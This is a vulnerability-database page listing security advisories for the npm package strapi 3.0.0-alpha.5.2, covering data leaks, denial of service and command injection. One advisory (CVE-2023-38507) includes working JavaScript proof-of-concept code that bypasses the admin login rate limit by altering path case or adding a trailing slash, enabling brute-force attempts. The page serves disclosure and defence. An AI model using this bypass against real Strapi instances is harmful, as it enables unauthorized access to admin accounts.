Search for packages
| purl | pkg:npm/strapi@3.0.0-alpha.5.2 |
| Next non-vulnerable version | None. |
| Latest non-vulnerable version | None. |
| Risk | 3.1 |
| Vulnerability | Summary | Fixed by |
|---|---|---|
|
VCID-12m9-3dyn-yydc
Aliases: CVE-2023-37263 GHSA-m284-85mf-cgrc |
Strapi's field level permissions not being respected in relationship title ### Summary Field level permissions not being respected in relationship title. If I have a relationship title and the relationship shows a field I don't have permission to see I will still be visible. ### Details No RBAC checks on on the relationship the relation endpoint returns ### PoC #### Setup Create a fresh strapi instance Create a new content type in the newly created content type add a relation to the users-permissions user. Save. Create a users-permissions user Use your created content type and create an entry in it related to the users-permisisons user Go to settings -> Admin panel -> Roles -> Author Give the author role full permissions on the content type your created. Make sure they don't have any permission to see User Save Create a new admin account with only the author role #### CVE login on the newly created author acount. go to the content manager to the colection type you created with the relationship to users_permissions_user You now see a field you don't have permissions to view. ### Impact RBAC field level checks leaks data selected by the admin user as relationship title What could be sensitive fields that they should not be allowed to see. by the person having this specific role. | There are no reported fixed by versions. |
|
VCID-42fa-hfs6-h7fe
Aliases: CVE-2023-36472 GHSA-v8gg-4mq2-88q4 |
Strapi may leak sensitive user information, user reset password, tokens via content-manager views Attackers can get access to user reset password tokens if they have the configure view permissions. | There are no reported fixed by versions. |
|
VCID-69u2-1kk2-pbde
Aliases: CVE-2020-8123 GHSA-23fp-fmrv-f5px |
Uncontrolled Resource Consumption A denial of service exists in strapi v3.0.0-beta.18.3 and earlier that can be abused in the admin console using admin rights can lead to arbitrary restart of the application. |
Affected by 19 other vulnerabilities. |
|
VCID-91v6-uz9j-hbg2
Aliases: CVE-2020-27664 GHSA-7frv-9phw-vrvr |
Affected by 15 other vulnerabilities. |
|
|
VCID-ad9a-v3xy-fua8
Aliases: CVE-2021-46440 GHSA-85vg-grr5-pw42 |
Insecure Storage of Sensitive Information Storing passwords in a recoverable format in the DOCUMENTATION plugin component of Strapi allows an attacker to access a victim's HTTP request, get the victim's cookie, perform a base64 decode on the victim's cookie, and obtain a cleartext password, leading to getting API documentation for further API attacks. |
Affected by 13 other vulnerabilities. Affected by 1 other vulnerability. |
|
VCID-b2r2-7s6m-8bf7
Aliases: CVE-2021-28128 GHSA-37hx-4mcq-wc3h |
Affected by 14 other vulnerabilities. |
|
|
VCID-fa2w-qzn6-gufj
Aliases: CVE-2022-0764 GHSA-xrjf-phvv-r4vr |
Command injection in strapi Arbitrary Command Injection in GitHub repository strapi/strapi prior to 4.1.0. |
Affected by 0 other vulnerabilities. |
|
VCID-j1sc-mgxq-vqbz
Aliases: CVE-2023-34235 GHSA-9xg4-3qfm-9w8f |
Exposure of Sensitive Information to an Unauthorized Actor Strapi is an open-source headless content management system. Prior to version 4.10.8, it is possible to leak private fields if one is using the `t(number)` prefix. Knex query allows users to change the default prefix. For example, if someone changes the prefix to be the same as it was before or to another table they want to query, the query changes from `password` to `t1.password`. `password` is protected by filtering protections but `t1.password` is not protected. This can lead to filtering attacks on everything related to the object again, including admin passwords and reset-tokens. Version 4.10.8 fixes this issue. |
Affected by 0 other vulnerabilities. |
|
VCID-j7y3-snw8-tbf1
Aliases: CVE-2023-34093 GHSA-chmr-rg2f-9jmf |
Exposure of Sensitive Information to an Unauthorized Actor Strapi is an open-source headless content management system. Prior to version 4.10.8, anyone (Strapi developers, users, plugins) can make every attribute of a Content-Type public without knowing it. The vulnerability only affects the handling of content types by Strapi, not the actual content types themselves. Users can use plugins or modify their own content types without realizing that the `privateAttributes` getter is being removed, which can result in any attribute becoming public. This can lead to sensitive information being exposed or the entire system being taken control of by an attacker(having access to password hashes). Anyone can be impacted, depending on how people are using/extending content-types. If the users are mutating the content-type, they will not be affected. Version 4.10.8 contains a patch for this issue. | There are no reported fixed by versions. |
|
VCID-jceq-8pxy-nkhv
Aliases: GHSA-49vv-6q7q-w5cf |
Duplicate Advisory: OS Command Injection in Strapi ### Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-9p2w-rmx4-9mw7. This link is maintained to preserve external references. ### Original Description The Strapi framework before 3.0.0-beta.17.8 is vulnerable to Remote Code Execution in the Install and Uninstall Plugin components of the Admin panel, because it does not sanitize the plugin name, and attackers can inject arbitrary shell commands to be executed by the execa function. |
Affected by 15 other vulnerabilities. |
|
VCID-jr4x-u2za-6fg4
Aliases: CVE-2022-29894 GHSA-mcqm-6ff4-53qx |
There are no reported fixed by versions. | |
|
VCID-jrp6-knte-mkf8
Aliases: CVE-2023-38507 GHSA-24q2-59hm-rh9r |
Strapi Improper Rate Limiting vulnerability ### 1. Summary There is a rate limit on the login function of Strapi's admin screen, but it is possible to circumvent it. ### 2. Details It is possible to avoid this by modifying the rate-limited request path as follows. 1. Manipulating request paths to upper or lower case. (Pattern 1) - In this case, avoidance is possible with various patterns. 2. Add path slashes to the end of the request path. (Pattern 2) ### 3. PoC Access the administrator's login screen (`/admin/auth/login`) and execute the following PoC on the browser's console screen. #### Pattern 1 (uppercase and lowercase) ```js // poc.js (async () => { const data1 = { email: "admin@strapi.com", // registered e-mail address password: "invalid_password", }; const data2 = { email: "admin@strapi.com", password: "RyG5z-CE2-]*4e4", // correct password }; for (let i = 0; i < 30; i++) { await fetch("http://localhost:1337/admin/login", { method: "POST", body: JSON.stringify(data1), headers: { "Content-Type": "application/json", }, }); } const res1 = await fetch("http://localhost:1337/admin/login", { method: "POST", body: JSON.stringify(data2), headers: { "Content-Type": "application/json", }, }); console.log(res1.status + " " + res1.statusText); const res2 = await fetch("http://localhost:1337/admin/Login", { // capitalize part of path method: "POST", body: JSON.stringify(data2), headers: { "Content-Type": "application/json", }, }); console.log(res2.status + " " + res2.statusText); })(); ``` ##### This PoC does the following: 1. Request 30 incorrect logins. 4. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (`429 Too Many Requests`) 5. Next, falsify the pathname of the request (**`/admin/Login`**) and make a request again to confirm that it is possible to bypass the rate limit and log in. (`200 OK`) #### Pattern 2 (trailing slash) ```js // poc.js (async () => { const data1 = { email: "admin@strapi.com", // registered e-mail address password: "invalid_password", }; const data2 = { email: "admin@strapi.com", password: "RyG5z-CE2-]*4e4", // correct password }; for (let i = 0; i < 30; i++) { await fetch("http://localhost:1337/admin/login", { method: "POST", body: JSON.stringify(data1), headers: { "Content-Type": "application/json", }, }); } const res1 = await fetch("http://localhost:1337/admin/login", { method: "POST", body: JSON.stringify(data2), headers: { "Content-Type": "application/json", }, }); console.log(res1.status + " " + res1.statusText); const res2 = await fetch("http://localhost:1337/admin/login/", { // trailing slash method: "POST", body: JSON.stringify(data2), headers: { "Content-Type": "application/json", }, }); console.log(res2.status + " " + res2.statusText); })(); ``` ##### This PoC does the following: 1. Request 30 incorrect logins. 2. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (`429 Too Many Requests`) 3. Next, falsify the pathname of the request (**`/admin/login/`**) and make a request again to confirm that it is possible to bypass the rate limit and log in. (`200 OK`) ### 4. Impact It is possible to bypass the rate limit of the login function of the admin screen. Therefore, the possibility of unauthorized login by login brute force attack increases. ### 5. Measures Forcibly convert the request path used for rate limiting to upper case or lower case and judge it as the same path. (`ctx.request.path`) Also, remove any extra slashes in the request path. | There are no reported fixed by versions. |
|
VCID-mr13-gqhz-4beq
Aliases: CVE-2019-19609 GHSA-9p2w-rmx4-9mw7 GMS-2020-779 |
Affected by 15 other vulnerabilities. |
|
|
VCID-n29h-xxeq-hqby
Aliases: CVE-2020-27666 GHSA-qvp5-mm7v-4f36 |
Affected by 15 other vulnerabilities. |
|
|
VCID-nhtw-ejcy-t7gg
Aliases: CVE-2020-13961 GHSA-65wv-528r-m892 |
Affected by 17 other vulnerabilities. |
|
|
VCID-rjfu-etak-mkbg
Aliases: CVE-2020-27665 GHSA-4p55-xj37-fx7g |
Affected by 15 other vulnerabilities. |
|
|
VCID-tw6u-ne9x-6yad
Aliases: CVE-2022-31367 GHSA-4phg-hpqm-c3j4 |
Affected by 9 other vulnerabilities. |
| Vulnerability | Summary | Aliases |
|---|---|---|
| This package is not known to fix vulnerabilities. | ||